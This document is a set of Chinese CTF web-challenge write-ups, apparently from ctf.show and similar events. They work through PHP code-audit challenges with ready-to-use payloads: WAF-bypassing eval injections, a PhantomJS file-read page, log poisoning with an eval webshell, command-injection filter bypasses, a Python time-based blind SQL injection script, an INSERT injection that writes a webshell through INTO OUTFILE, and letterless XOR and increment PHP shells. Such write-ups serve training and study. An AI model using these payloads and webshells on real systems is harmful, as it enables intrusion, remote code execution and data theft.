给你shell

查找信息

看到flag在/flag.txt

点击/?view_source

分析代码
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}
function checkCookie($s) {
$arr = explode(':', $s);
//将传入的字符串(Cookie 值)按冒号分割成数组
// 条件:
// 1. 第一个元素必须精确等于 '{"secret"'
// 2. 第二个元素必须匹配正则表达式:由引号、数字、大写字母组成,且以 '}' 结尾。
// 3. 数组长度必须刚好为 2。
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
//// 验证失败则尝试清理 Cookie。
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
//对 flag 进行 MD5 加密。
$_h_p = strtoupper($_m_u);
// 转换为大写。
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
// 逐个取 MD5 后的字符
$_i = ord($_i);
// 转为 ASCII 码
print_r($_i & 0xC0);
// 0xC0 是二进制 11000000。这个操作会抹除低位信息,只输出 0, 64
}
die;
}
//检查是否存在名为 secret 的 Cookie,没有则设置一个初始值(y1ng 的 MD5)
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
// 1. 调用 checkCookie 验证格式。
// 2. 验证通过后,使用 json_decode 将字符串解析为 PHP 数组 $obj。
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
// 如果解析成功,且 URL 带有 ?give_me_shell:
if ($obj && isset($_GET['give_me_shell'])) {
// 如果 $obj['secret'] 不等于 $flag_md5,则调用 haveFun(flag) 给你一些无用的干扰数字。
// 只有当两者完全相等时,才会输出 $shell_path。
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;
1.必须存在名为secret的Cookie值。其值遵循上述格式。
2.以get形式传入give_me_shell
数字的ascii码范围为48到57,大写字母的ascii码范围是65到90。在Cookie中的secret随便输入任意符合它json格式的字符串的值,都会返回$flag在haveFun中做与运算时的结果(0006464640064064646464006406464064640064006400000000000),前三位均为数字,利用弱类型比较漏洞(123=='123a'),可以对Cookie中的字符进行爆破。

得到代码

再次分析
<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember ... we are legion!
* ------------Deep CTF 2020
*/
主要考察waf绕过和命令执行,由于我们不知道过滤了什么先进行fuzz测试一下,发现过滤了 f
\ / | ; ' + ) ( * ^ $ ' ` " "基本有用的都过滤了。
在一个 PHP 代码段中的最后一行可以不用分号结束,于是构造?><?来进行绕过,
?>提前结束原有的PHP上下文(前面的 eval() 语句)。然后插入新的PHP代码块
<?= 相当于 <? echo。
?code=]=1?><?= 新代码?>,
常用的函数基本都不能用了,而且f被过滤了,无法直接读取flag文件,符号~可以将URL编码取反,PHP中的函数urlencode可以将字符进行url编码,利用这些特性,我们可以将命令进行url取反编码,然后用~再取反,实现命令的注入,require和~之间不需要空格就可以执行,最终的payload
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
然后再根据提示访问/flag
<?php
$str = "/ f l a g";
$arr1 = explode(' ', $str);
echo "~";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
?>
payload
?code=]=1?><?=require~%d0%99%93%9e%98?>

RemoteImageDownloader

打开靶机是一个输入框,给了http:??。猜测是ssrf了
随便测试一下发现返回的是访问网页的截图
PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
注意PhantomJS/2.1.1,它有一个漏洞(CVE-2019-17221)。
在自己的vps上写一个html指向一个JS即可获得flag
<!doctype html>
<html lang="en">
<head>
<title>test</title>
<style>body { background: white; }</style>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
document.body.innerText = xhr.responseText;
};
xhr.open('GET', 'file:///flag');
xhr.send();
</script>
</body>
</html>
在题目的输入框中写入服务器上该页面的地址即可下载一张图片,打开就是flag。


在题目的输入框中写入服务器上该页面的地址即可下载一张图片,打开就是flag
ALL_INFO_U_WANT

信息收集
一个魔方,我懒得玩直接扫目录


命令执行
visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:
<?php
error_reporting(0);
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}
if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
?>
really really really baby challenge right?
根据提示(visit all_info_u_want.php and you will get all information you want)访问all_info_u_want.php?all_info_i_want=1得到phpinfo();

抓包,返回Server: nginx/1.20,1 (Ubuntu)

file变量限制了只能在/var/www/html/内读取文件,但是可以用"../../../"向上越级读取。

这样就可以利用access.log来插入一句话木马啦。
在UA中插入
<?php eval($_POST[1]);?>



find /etc | xargs grep flag

可以查找到flag
WUSTCTF_朴实无华_Revenge

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
分析代码
代码审计题,题目定义了一个函数,用来判断参数是否为回文,就是正着读和反过来读都一样,比如'12321',就是回文。然后题目设置了三个关卡。
第一关
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
num 只能含数字、.、-。intval(num) == intval(strrev(num)),即数字和其反转相等。字符串本身不能是回文(但数字相等)。
绕过的方法有很多,比如'0-','0.00'都可以
第二关
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
这考察双重md5碰撞,这重在积累,payload
0e1576609003
0e1138100474
0e113810047
第三关
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
这一关考察rce,过滤了空格和常用的函数符号,用%09或者<绕过空格就行了
ls%09/
nl%09/flag
最终的payload
?num=0.00&md5=0e1138100474&get_flag=nl%09/flag

WUSTCTF_朴实无华_Revenge_Revenge
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
这一题和上面的差不多,payload
?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp

Login_Only_For_36D

用户名有admin即可进行注入,源码中发现

测试发现存在过滤,fuzz测试
过滤了 'select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' '
能用'table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ','
import requests
import time as t
url = 'http://c98515fd-5afe-46af-9489-04bf4b5093f7.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# Disable SSL verification
requests.packages.urllib3.disable_warnings()
# Time-based blind injection
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary ensures case-sensitive matching
for i in range(16):
for char in list_char:
passwd_t = passwd + char
payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
data = {
'username': 'admin\\',
'password': payload
}
try:
start = t.time()
requests.post(url, data=data, verify=False) # verify=False disables SSL verification
end = t.time()
if end - start >= 2:
passwd += char
print(f"Found character {i+1}: {passwd}")
break
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
continue
print(f"Final password: {passwd}")

登录成功,获取flag

你没见过的注入

信息收集



登录之后是一个文件上传的界面

源码如下
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
开始注入
猜测语句是这样的,将文件名写入了某张表中:
insert into column(name, type, lineFeed) values ($filename, $filetype, $filelinefeed);
本题的实际查询语句是:
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"
通过闭合insert,将信息写入exif中:
xxx"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+
其中,0x3C3F3D60245F504F53545B305D603B是<?=`$_POST[0]`; 的16进制
这样就将一句话写入了1.php文件,访问即可


成功上传


你取吧

分析代码
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
//通过 $_REQUEST 获取名为 code 的参数
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
//定义了一个数组 $_,包含了所有小写字母以及转义后的波浪号 (~) 和 脱字符 (^)
//大写字母被过滤:数组里只有小写 a-z,但 preg_match 使用了 /im 修饰符(i 代表不区分大小写),所以大写字母也被封死了
//符号过滤:封死"取反"(~) 和 "异或"(^) 这两种最常用的无字母绕过手段
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
//遍历黑名单。如果你的 $code 中包含任何字母、~ 或 ^,程序直接终止并输出 nonono
die('nonono');
}
}
eval("echo($code);");
?>
第一种解法
P神的无字母shell
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
<?php
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
?>
第二种解法
也可以使用题目中的数组来绕过
?code=`
[12]_[13] /*` `nl /*`
?code=`
[12]_[13] /
[5]_[13]
[0]_[6]` `nl /flag`
?code=1);
__=_[18].
[24]._[18].
[19]._[4].
[11];__("
[12]_[13] /
[5]_[13]
[0]_[6]");(1 1);system("nl /flag");(1
第三种解法

也算是数组
> 使用
${$_{7}.$_{8}.$_{12}.$_{19}}
构造出$hint
使用$_{}可以截取黑名单中的字符,题目源码又给了hint,直接从黑名单中选取相应的字符位置,
$ $_{7}=h 然后最终用${}包裹,就会变成$hint,就可以读到`Hhh.php 经过base64编码后的源码了
解密得到一个压缩包:phpjiami.zip和一个地址:hint.ph
发现有混淆,使用php反混淆工具解密,发现shell





无参数命令执行